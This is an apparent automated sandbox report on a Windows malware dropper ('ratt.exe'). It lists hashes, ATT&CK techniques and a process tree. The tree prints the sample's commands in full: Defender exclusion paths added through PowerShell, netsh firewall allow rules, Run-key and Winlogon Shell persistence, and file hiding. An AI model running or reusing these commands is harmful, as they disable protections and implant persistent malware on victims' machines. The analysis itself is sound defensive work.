348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e

Analysis

max time kernel
63s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
01/08/2023, 02:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e.exe
Size

1.4MB
MD5

7a176762686b763bd36e608cdfc33c0c
SHA1

d4acd8d59c7e427751a9de629622fea3822e0942
SHA256

348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e
SHA512

ba5685429a19e07583880365d824dbffc1446be32ecca69418d41d93505391edfa3b58593abd7fe8d29d15dc1ffa50b9b15b17477f3d8651f65967dea9f7e9d8
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

8^/10

evasion persistence upx

Malware Config

Signatures

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
4764	netsh.exe
3912	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x00070000000231a7-235.dat	acprotect
behavioral1/files/0x00070000000231a7-236.dat	acprotect

Executes dropped EXE 3 IoCs

pid	Process
1480	7z.exe
2772	ratt.exe
232	ratt.exe

Loads dropped DLL 1 IoCs

pid	Process
1480	7z.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000231aa-232.dat	upx
behavioral1/memory/1480-233-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x00070000000231aa-234.dat	upx
behavioral1/files/0x00070000000231a7-235.dat	upx
behavioral1/files/0x00070000000231a7-236.dat	upx
behavioral1/memory/1480-237-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/1480-241-0x0000000000400000-0x0000000000432000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ratt = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ratt.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
4736	PING.EXE
2888	PING.EXE
2724	PING.EXE
2244	PING.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4252	powershell.exe
4252	powershell.exe
3520	powershell.exe
3520	powershell.exe
3520	powershell.exe
3928	powershell.exe
3928	powershell.exe
3928	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe
740	powershell.exe
740	powershell.exe
2772	ratt.exe
2772	ratt.exe
2772	ratt.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5060	WMIC.exe
Token: SeSecurityPrivilege	5060	WMIC.exe
Token: SeTakeOwnershipPrivilege	5060	WMIC.exe
Token: SeLoadDriverPrivilege	5060	WMIC.exe
Token: SeSystemProfilePrivilege	5060	WMIC.exe
Token: SeSystemtimePrivilege	5060	WMIC.exe
Token: SeProfSingleProcessPrivilege	5060	WMIC.exe
Token: SeIncBasePriorityPrivilege	5060	WMIC.exe
Token: SeCreatePagefilePrivilege	5060	WMIC.exe
Token: SeBackupPrivilege	5060	WMIC.exe
Token: SeRestorePrivilege	5060	WMIC.exe
Token: SeShutdownPrivilege	5060	WMIC.exe
Token: SeDebugPrivilege	5060	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5060	WMIC.exe
Token: SeRemoteShutdownPrivilege	5060	WMIC.exe
Token: SeUndockPrivilege	5060	WMIC.exe
Token: SeManageVolumePrivilege	5060	WMIC.exe
Token: 33	5060	WMIC.exe
Token: 34	5060	WMIC.exe
Token: 35	5060	WMIC.exe
Token: 36	5060	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5060	WMIC.exe
Token: SeSecurityPrivilege	5060	WMIC.exe
Token: SeTakeOwnershipPrivilege	5060	WMIC.exe
Token: SeLoadDriverPrivilege	5060	WMIC.exe
Token: SeSystemProfilePrivilege	5060	WMIC.exe
Token: SeSystemtimePrivilege	5060	WMIC.exe
Token: SeProfSingleProcessPrivilege	5060	WMIC.exe
Token: SeIncBasePriorityPrivilege	5060	WMIC.exe
Token: SeCreatePagefilePrivilege	5060	WMIC.exe
Token: SeBackupPrivilege	5060	WMIC.exe
Token: SeRestorePrivilege	5060	WMIC.exe
Token: SeShutdownPrivilege	5060	WMIC.exe
Token: SeDebugPrivilege	5060	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5060	WMIC.exe
Token: SeRemoteShutdownPrivilege	5060	WMIC.exe
Token: SeUndockPrivilege	5060	WMIC.exe
Token: SeManageVolumePrivilege	5060	WMIC.exe
Token: 33	5060	WMIC.exe
Token: 34	5060	WMIC.exe
Token: 35	5060	WMIC.exe
Token: 36	5060	WMIC.exe
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	3520	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	3804	powershell.exe
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	740	powershell.exe
Token: SeIncreaseQuotaPrivilege	3672	WMIC.exe
Token: SeSecurityPrivilege	3672	WMIC.exe
Token: SeTakeOwnershipPrivilege	3672	WMIC.exe
Token: SeLoadDriverPrivilege	3672	WMIC.exe
Token: SeSystemProfilePrivilege	3672	WMIC.exe
Token: SeSystemtimePrivilege	3672	WMIC.exe
Token: SeProfSingleProcessPrivilege	3672	WMIC.exe
Token: SeIncBasePriorityPrivilege	3672	WMIC.exe
Token: SeCreatePagefilePrivilege	3672	WMIC.exe
Token: SeBackupPrivilege	3672	WMIC.exe
Token: SeRestorePrivilege	3672	WMIC.exe
Token: SeShutdownPrivilege	3672	WMIC.exe
Token: SeDebugPrivilege	3672	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3672	WMIC.exe
Token: SeRemoteShutdownPrivilege	3672	WMIC.exe
Token: SeUndockPrivilege	3672	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 832	4884	348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e.exe	86
PID 4884 wrote to memory of 832	4884	348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e.exe	86
PID 4884 wrote to memory of 832	4884	348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e.exe	86
PID 832 wrote to memory of 3552	832	cmd.exe	89
PID 832 wrote to memory of 3552	832	cmd.exe	89
PID 832 wrote to memory of 3552	832	cmd.exe	89
PID 3552 wrote to memory of 1452	3552	cmd.exe	90
PID 3552 wrote to memory of 1452	3552	cmd.exe	90
PID 3552 wrote to memory of 1452	3552	cmd.exe	90
PID 832 wrote to memory of 5096	832	cmd.exe	91
PID 832 wrote to memory of 5096	832	cmd.exe	91
PID 832 wrote to memory of 5096	832	cmd.exe	91
PID 5096 wrote to memory of 5060	5096	cmd.exe	93
PID 5096 wrote to memory of 5060	5096	cmd.exe	93
PID 5096 wrote to memory of 5060	5096	cmd.exe	93
PID 832 wrote to memory of 4252	832	cmd.exe	96
PID 832 wrote to memory of 4252	832	cmd.exe	96
PID 832 wrote to memory of 4252	832	cmd.exe	96
PID 832 wrote to memory of 3520	832	cmd.exe	100
PID 832 wrote to memory of 3520	832	cmd.exe	100
PID 832 wrote to memory of 3520	832	cmd.exe	100
PID 832 wrote to memory of 3928	832	cmd.exe	101
PID 832 wrote to memory of 3928	832	cmd.exe	101
PID 832 wrote to memory of 3928	832	cmd.exe	101
PID 832 wrote to memory of 3804	832	cmd.exe	103
PID 832 wrote to memory of 3804	832	cmd.exe	103
PID 832 wrote to memory of 3804	832	cmd.exe	103
PID 832 wrote to memory of 4804	832	cmd.exe	104
PID 832 wrote to memory of 4804	832	cmd.exe	104
PID 832 wrote to memory of 4804	832	cmd.exe	104
PID 832 wrote to memory of 1480	832	cmd.exe	107
PID 832 wrote to memory of 1480	832	cmd.exe	107
PID 832 wrote to memory of 1480	832	cmd.exe	107
PID 832 wrote to memory of 740	832	cmd.exe	108
PID 832 wrote to memory of 740	832	cmd.exe	108
PID 832 wrote to memory of 740	832	cmd.exe	108
PID 740 wrote to memory of 4764	740	powershell.exe	110
PID 740 wrote to memory of 4764	740	powershell.exe	110
PID 740 wrote to memory of 4764	740	powershell.exe	110
PID 740 wrote to memory of 3912	740	powershell.exe	112
PID 740 wrote to memory of 3912	740	powershell.exe	112
PID 740 wrote to memory of 3912	740	powershell.exe	112
PID 740 wrote to memory of 5036	740	powershell.exe	113
PID 740 wrote to memory of 5036	740	powershell.exe	113
PID 740 wrote to memory of 5036	740	powershell.exe	113
PID 5036 wrote to memory of 3672	5036	cmd.exe	114
PID 5036 wrote to memory of 3672	5036	cmd.exe	114
PID 5036 wrote to memory of 3672	5036	cmd.exe	114
PID 740 wrote to memory of 4360	740	powershell.exe	115
PID 740 wrote to memory of 4360	740	powershell.exe	115
PID 740 wrote to memory of 4360	740	powershell.exe	115
PID 4360 wrote to memory of 4108	4360	cmd.exe	116
PID 4360 wrote to memory of 4108	4360	cmd.exe	116
PID 4360 wrote to memory of 4108	4360	cmd.exe	116
PID 740 wrote to memory of 2772	740	powershell.exe	117
PID 740 wrote to memory of 2772	740	powershell.exe	117
PID 740 wrote to memory of 2772	740	powershell.exe	117
PID 740 wrote to memory of 1776	740	powershell.exe	123
PID 740 wrote to memory of 1776	740	powershell.exe	123
PID 740 wrote to memory of 1776	740	powershell.exe	123
PID 832 wrote to memory of 4780	832	cmd.exe	125
PID 832 wrote to memory of 4780	832	cmd.exe	125
PID 832 wrote to memory of 4780	832	cmd.exe	125
PID 832 wrote to memory of 232	832	cmd.exe	126

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1776	attrib.exe

C:\Users\Admin\AppData\Local\Temp\348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e.exe
"C:\Users\Admin\AppData\Local\Temp\348a947d939a92c7ec5c4be695bc3d43049fd0c736332096e8f6193d4f66978e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3552
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:1452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5060
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4252
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3520
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3928
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3804
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4804
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1480
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:740
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:4764
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3912
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5036
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="MSXGLQPS" set AutomaticManagedPagefile=False
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4360
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        
        PID:4108
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:2772
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:624
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 6
        6⤵
        Runs ping.exe
        
        PID:2244
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        
        PID:4884
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 12 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 12 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:4452
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 12
        6⤵
        Runs ping.exe
        
        PID:4736
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:1776
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    - Adds Run key to start application
    PID:4780
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    - Executes dropped EXE
    PID:232
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 16 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 16 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      PID:4432
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 16
        5⤵
        Runs ping.exe
        
        PID:2888
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 16
        5⤵
        Runs ping.exe
        
        PID:2724
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:1916
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
303.8MB

MD5
6757ac6c920add6fde49dbc0d7b2502f

SHA1
7dce8ea5f73048ede7a2e839416ba784519b1e42

SHA256
7cd6e878ba3c5c1338957ec92fd22557a08a6c87619dfa2b409db1183a24bed7

SHA512
f726be00c119f3bcb6341e6a2b20f99737a5a8d3480dc79dc446f04853fea278df63458da8b31a809385c24e926273aece7c3e7419fe0f7e49e3e685388c187c

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
245.8MB

MD5
83ca8bc32325bc83c97b1cd364fbc74d

SHA1
6dce4bdf788d3579aa1e76d9669aaf72ae8a1a98

SHA256
4f13df06244b80533bb8352960e05c877bb551210c196ceec3b6b62804dc354c

SHA512
7d1465bec96466fafbcdc7d2bf982872aa67d275803a75a79ec0614faa34e20bdd454eaf3782ba9dd6ad2736e35114cff3a7bbccb69ede837e2ebc5802a97f49

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
33b19d75aa77114216dbc23f43b195e3

SHA1
36a6c3975e619e0c5232aa4f5b7dc1fec9525535

SHA256
b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

SHA512
676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ratt.exe.log

Filesize
1KB

MD5
9a2d0ce437d2445330f2646472703087

SHA1
33c83e484a15f35c2caa3af62d5da6b7713a20ae

SHA256
30ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c

SHA512
a61d18d90bfad9ea8afdfa37537cfea3d5a3d0c161e323fa65840c283bdc87c3de85daaff5519beea2f2719eec1c68398eea8679b55ff733a61052f073162d5d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
211cacf4d202206452facd19593725b4

SHA1
8941820414943df366a76378a514a1e9adae8685

SHA256
0275788ec67c436106a967523ea0638303b5281153aeb411e7f702b20aec0059

SHA512
64698ddf3ec966ad1e0fd980c8996bef18ecba440109d4a9175326a3ce1a8763fe12c454d1e4cd0da5afac177774758d17c59ce3ffde2d22be557ea1b7d4c4e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
e3c50a631eb39a5c04b5cb5e9224977b

SHA1
142b416919f428c7b83a329f8c0383d45c26b2b9

SHA256
22c1e8053ac319b1a6183b145cbdf7b39af25c06e45e5e6568fc7d18343d42ca

SHA512
1b59d047f4e461d3f9556bf4112f1cad6ca87dce27e3be7663b7c9b065edd0b503624225cf82a3de190571d1419a18e1eadcd7ce7676ddcd42e1c5936b4cdaf2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
ca34aa963e0debfdbcc49db41ee13472

SHA1
7df1045cb0e3ac237273861227111f325d912a41

SHA256
57df02a7ed59297d395753b141cc3f16ea5f7fad9f5bd0104764babdf6ebbab7

SHA512
09ce594dd66a261db5fc56605d323bbae8d97aad402328a7043a985a784715d9e36e400872b0958138e518118ecc9218d9ac58056be9b89c07a29724e177193e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
bda0991edeeb2c3d1cd6b0f1e04b1ed3

SHA1
d50bada97bef95c8a757fd80af407d7b3a6db28e

SHA256
cc463de135877cc43235ac5a803b0ef1fdca575a134751d1bc33dd4652a6d6a4

SHA512
47c6251ff4dc810bedee20cde2aa1c7b1951d7ce0aa2a25bd7e94eed4e71e57b79235cce7d2ea47c0ebd0d05563361a0ed49324970b3a0936d889d1d29932305

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
7bcc6688ece3936ac246ffacc9e15894

SHA1
1a3a14dc4dd9442832521a51214883a622fb8ff3

SHA256
c34a0b589472852ad009e3d44bdb162a8a35a561d0ae1413fecb6664fa77721f

SHA512
e04a4329847d421f6b6903e09f321ac6a3fb73736081219833a6eb8487cb395b05f32af699b1077caa083eac93df1cee16d1e199716446e7d5a28fd8ba8cd3d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpdzbegk.nnx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
505.8MB

MD5
46247c8cefe6e5916c20d21d2b4ad244

SHA1
87e2e61a2ee76900461848bb6e1c7c8e56c6c01c

SHA256
c5b2760cb108e6288e25ba3b575335b1c8dbb43cfd2bcd1ffb54f9135570d84f

SHA512
bf8c274f2e663c4e9f6dbb243509ab843c57df19b047b2de187c64dd6dc7febbcb3fb239423f1988513367613342688ba50c723f9da5f14c39f1b4b3f7c3a1eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
220.8MB

MD5
8bd2bcb423a95e8ada43033e98067344

SHA1
338f87a33515c3a285823be701da406725f9913f

SHA256
18bd060a617bc50fc1fc7962354a0a6c1312c6ed0cac9e0ea86da30f11b9c734

SHA512
3bed9b23eb6f587319d55ee8df0bda3d96fd872e60c3397b29cd258f3ed5f63ecec6fc4c9d4fae269246288a29b3fc6fbe262dbd86c9afea326f110eb284931c

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
113.2MB

MD5
75bd472036da6548f584829e14727b44

SHA1
9d884db4f742d18460f4b1cc37692366adf4efc6

SHA256
b459041708b405a745fa184ae075193123400f4d8f6efc89642615c9e5736c03

SHA512
9e0ee3d5993fd2bacf5784f516d9ec4936e7ed6dd98daf5c2f1147ddacd54793de58d3853073822a1a3f51932eca27f012e7480e6a2c93887f5f70711a950bc9

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
42.6MB

MD5
7f53f74ff0e16c0e17171aba39dea518

SHA1
0852759837f2419b410075b9b7b74e3e8d1bbcd5

SHA256
04183f45e930400f2ddd13605c0cf2ab2ea3defc2c990f5257b860a2d04ac765

SHA512
65bdacaf51cf9e800e0fe558fd1365e942e956180a09bd0b196d4d99219d2bbe0fc0a3645accc5e7971e3648818d105f76130738f33c22f5bac3dd88ffd189c4

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
41.9MB

MD5
11d2be16c14180c5f299e6ac94269ab9

SHA1
8bde263122cbeb4106f23c2de1f640b8e5e0d4e9

SHA256
25e683165b9476e2b280e286da6e4e0f4875367b80a35b8d2bc7e121b47355fb

SHA512
4964b9f0ab64ad567be74fec14684ad76f2724b2a5c4ac5905f2b5b2b66a2387c3252cbe79b8cb959f439e68b87ba116d56c91e4f736eb7d6941b40f65192d80

Download Submit
memory/232-300-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/232-299-0x0000000000FC0000-0x0000000001176000-memory.dmp

